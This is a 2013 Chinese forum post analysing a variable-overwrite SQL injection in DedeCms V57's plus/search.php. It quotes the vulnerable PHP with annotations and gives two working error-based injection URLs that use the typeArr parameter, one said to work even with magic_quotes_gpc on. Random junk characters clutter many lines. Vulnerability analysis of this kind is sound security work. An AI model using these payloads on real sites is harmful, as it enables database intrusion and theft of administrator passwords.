找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2244|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.' E% ]+ {) N3 g1 |
作者: c4rp3nt3r@0x50sec.org
+ h, _7 j+ `$ |! b- fDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.; z, i( W( L; g% X/ d' a: s) f
1 [2 S. H" J& J7 ]# ]
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
) w6 n- D0 T; G 1 P9 c7 `) P3 \) n. x
============/ \' C- Q4 G) W' _( ]5 u7 t! S9 W  F, S

& T3 ?# K; p4 C+ }+ m7 { 1 O! r" I, t* `2 M: p& D$ u' l  N
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
3 W( L+ C, a- N2 z4 J 2 j5 e  r' r. a& C5 R% ~
require_once(dirname(__FILE__).”/../include/common.inc.php”);; y$ u; Z' f  R! R8 z. A( I. s; Y
require_once(DEDEINC.”/arc.searchview.class.php”);
# w! O2 }; Z( I" E 8 v$ y9 _5 w/ Q, ?; J3 _3 ?9 N
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
: F$ i* W  w7 W! S% {6 q& A$ p$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
# W, C7 ^- n# }. y! h" b$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
, O+ L: l4 G" x$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
" d1 n" a$ k- Y, y. t9 M$ J2 n$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;6 Q9 I1 O: J* [) z' j( Q

  G: _- p4 X. v& ^. Q' v" d: \. Uif(!isset($orderby)) $orderby=”;! ]3 j$ {# c# c- t8 Q. o
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);/ l2 @! H8 u$ C/ T) M8 Q

7 v& v5 h0 \6 T* Q, e! r  U
2 {" F5 a. y* k8 @if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
4 K8 Q3 |" e8 M( n) T! relse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
$ E6 V  x" N' l+ U ' U0 H# W8 v1 u' T; H$ L
if(!isset($keyword)){
" e3 ?+ s; t7 A* b  L+ b    if(!isset($q)) $q = ”;
4 U* W5 \0 i* S8 ^. N. E    $keyword=$q;
  M3 c% j+ D, e8 n$ H}
8 I1 x  m& Q* O- G, Y0 O
) Y; h" O( ~$ f" v1 E$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
2 D5 i' n# l/ Y: `1 U
) x( L6 q: m3 z+ w0 M//查找栏目信息; T7 j' Q0 k+ V6 I4 C
if(empty($typeid))
8 ~9 v6 I5 ]+ \: S: j2 `. V, z  ]{
$ ~( e2 H, O. U: t0 D" P+ i    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;2 w1 A( Q# \- ]) Y# `
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )0 p1 g+ d! H. A+ j( Z9 I' w( i
    {# z7 R2 Q4 Z- M
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);7 v1 x+ |- V1 F1 ]
        fwrite($fp, “<”.”?php\r\n”);5 g+ `) U' M) g. R0 p" p7 N
        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);& ~# b/ _! u$ x
        $dsql->Execute();
$ s& B7 z' }0 i3 v/ C        while($row = $dsql->GetArray())
/ P8 _. T- z* X; w( Y1 j        {
! t  B" y  K1 V; d3 u8 p            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);% x' b. L6 [4 {6 \
        }9 H% s$ l- M' d. P9 Q
        fwrite($fp, ‘?’.'>’);
2 l' }6 q- f' W) x  {5 B' }        fclose($fp);; p# X) `) q) j6 f. j
    }  B7 s) U3 _( G1 S
    //引入栏目缓存并看关键字是否有相关栏目内容
) n( v3 `* C) G& D  i    require_once($typenameCacheFile);: s, _) I% N' _3 T. r0 h/ l
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
2 Q) y+ M! ], W2 K( D0 |( M/ c//1 |6 i* D0 F- a# M# ^
    if(isset($typeArr) && is_array($typeArr))
: m5 T( C( y# {" @/ c6 n  o) R6 n. K    {2 ]$ ]& n1 M$ F+ _2 b8 K
        foreach($typeArr as $id=>$typename)
! G4 D. k* R, C2 W- `# y/ h7 u        {
+ ?; S# |% n  P; y8 A% e ' @: T" j5 O& B: a  v
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
( G  X' H1 v% V$ O5 B5 ^1 w1 M            if($keyword != $keywordn)
" G  _, h* K- Q8 D( G1 O* T# z            {
2 ~3 |2 W6 p+ G- U                $keyword = $keywordn;) s0 W8 X1 V0 k; s2 K
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
0 N! S5 g& B. b3 R                break;
  w- _4 ^3 x* h" `* K- T7 T' A+ h            }
& P- ~' x2 G; i9 J3 i% ]        }9 K" Q( @/ \. ?& o
    }
2 u: M4 w' ]) g3 P, g) f}
1 @0 M8 a- H( _) x8 X然后plus/search.php文件下面定义了一个 Search类的对象 .
; F+ B1 Y  _0 H% G) P* v* c在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
; q7 [$ _3 [% C, }$this->TypeLink = new TypeLink($typeid);, c  Z' d! y, w4 B

* \0 \+ ^/ `) a, T3 P. GTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.; q+ Z3 x4 E' \; Z; ]+ k
4 t6 H7 y0 T+ e
class TypeLink9 C* ^, R$ c# }. K- X
{4 f! T8 T' M- n/ \, k1 [
    var $typeDir;
- L7 m4 z- S; o. A. Y0 L    var $dsql;
/ y4 F! o5 Y, g    var $TypeID;5 B' [$ O) J2 U$ k. q0 `
    var $baseDir;
( S" A) B+ D( r: s0 u    var $modDir;
4 Z) o/ W: v* Y    var $indexUrl;
5 W/ l3 g6 G, U    var $indexName;
. |- C1 F1 t. K, x6 M, `; a3 L8 s    var $TypeInfos;
3 g4 \- _; s; M0 N) H  f    var $SplitSymbol;) T. `; {8 S9 z
    var $valuePosition;
) H0 `0 L8 W! q9 d8 s0 K& y9 K6 q    var $valuePositionName;2 r6 C9 }  h& n8 }, n
    var $OptionArrayList;//构造函数///////9 [( a6 j. T) {/ W. _
    //php5构造函数5 [4 X+ h7 V. N1 V, ^" Q- C
    function __construct($typeid): l0 m; s- K& V" g9 e
    {
3 U+ x' s6 f1 I& A        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
) b# L6 E2 x% }        $this->indexName = $GLOBALS['cfg_indexname'];" ?& _$ b5 u9 T) B  H2 X2 I3 L
        $this->baseDir = $GLOBALS['cfg_basedir'];
& g' }6 ^- R$ S7 Z# |) d        $this->modDir = $GLOBALS['cfg_templets_dir'];
) r" S0 z+ \1 f. C' [        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];# @! U0 g# J1 U" M3 c* j: G# o
        $this->dsql = $GLOBALS['dsql'];
" D- e( \. T  v& L3 N8 Z( P        $this->TypeID = $typeid;
% C& j! d4 q* C$ H        $this->valuePosition = ”;
0 Q+ E0 e- k) I# @0 a3 r        $this->valuePositionName = ”;. W1 d2 }1 W3 O7 f& B
        $this->typeDir = ”;
& s% g8 I0 r* s( @4 L) }+ [        $this->OptionArrayList = ”;
& u! f. f: l: Z8 _% Z2 }) R* s6 ^
" \0 B* a$ t& t" U# `! F        //载入类目信息
' Z. K3 b2 f1 f- [( F' [7 k
! v) U" J6 T; m; \4 {% i0 b        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
+ B5 i0 U9 s+ vctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
6 n: g6 C. Y, s/ l`#@__channeltype` ch7 J( o/ p6 C) b2 D4 J4 P2 C+ {
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
+ ]. D; i* C; X2 S& D+ v
9 \! k' ^' h# F8 U  }) e; G: W        if($typeid > 0)$ D* I" s6 g$ e/ e. `
        {
  y# M  C& l* `2 E: O) b8 ^5 o            $this->TypeInfos = $this->dsql->GetOne($query);
' _1 A* C5 j9 W; w* d+ k( P利用代码一 需要 即使magic_quotes_gpc = Off0 H5 v+ T. z2 r# U

+ S4 _3 V  z" {7 k* p: Ywww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title( O( V: M' @: E1 `* Y$ n
7 I# b' O" x$ D4 E: Z, _) u+ u* X
这只是其中一个利用代码… Search 类的构造函数再往下6 b7 p# ]: p' l' x5 A) D$ o

% d: O3 h3 ~; \; x1 f8 T- M8 P) }……省略7 I9 u' {& d3 C5 G0 v; D( m
$this->TypeID = $typeid;! e% N' w: C8 k+ o. Y
……省略+ u0 G  Z3 t$ W' z
if($this->TypeID==”0″){4 ^: ?# M3 A% F+ h
            $this->ChannelTypeid=1;: R+ V) d% u3 S9 ]
        }else{+ o8 T3 C, J$ s9 r; Y- y
            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲. X4 {; e* i/ r% n+ n* W
//现在不鸡肋了吧亲…
( S1 j2 X# G& ?9 [% {            $this->ChannelTypeid=$row['channeltype'];
' l# C* c/ M+ N* [ 7 }9 t  \$ t) Y, Y' K, q1 K( m- v
        }: T& s8 L: U! {5 Y. e
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
0 x9 ]& N7 ?! X* Z, q' {  x 5 g! w, e; K: Q4 n
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
2 r, w( |# Z! Z  w. o( w
3 r5 L" e9 b$ D& H# R6 u' D如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
/ \+ C. [1 I2 Y8 b# N3 B& d  V. _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表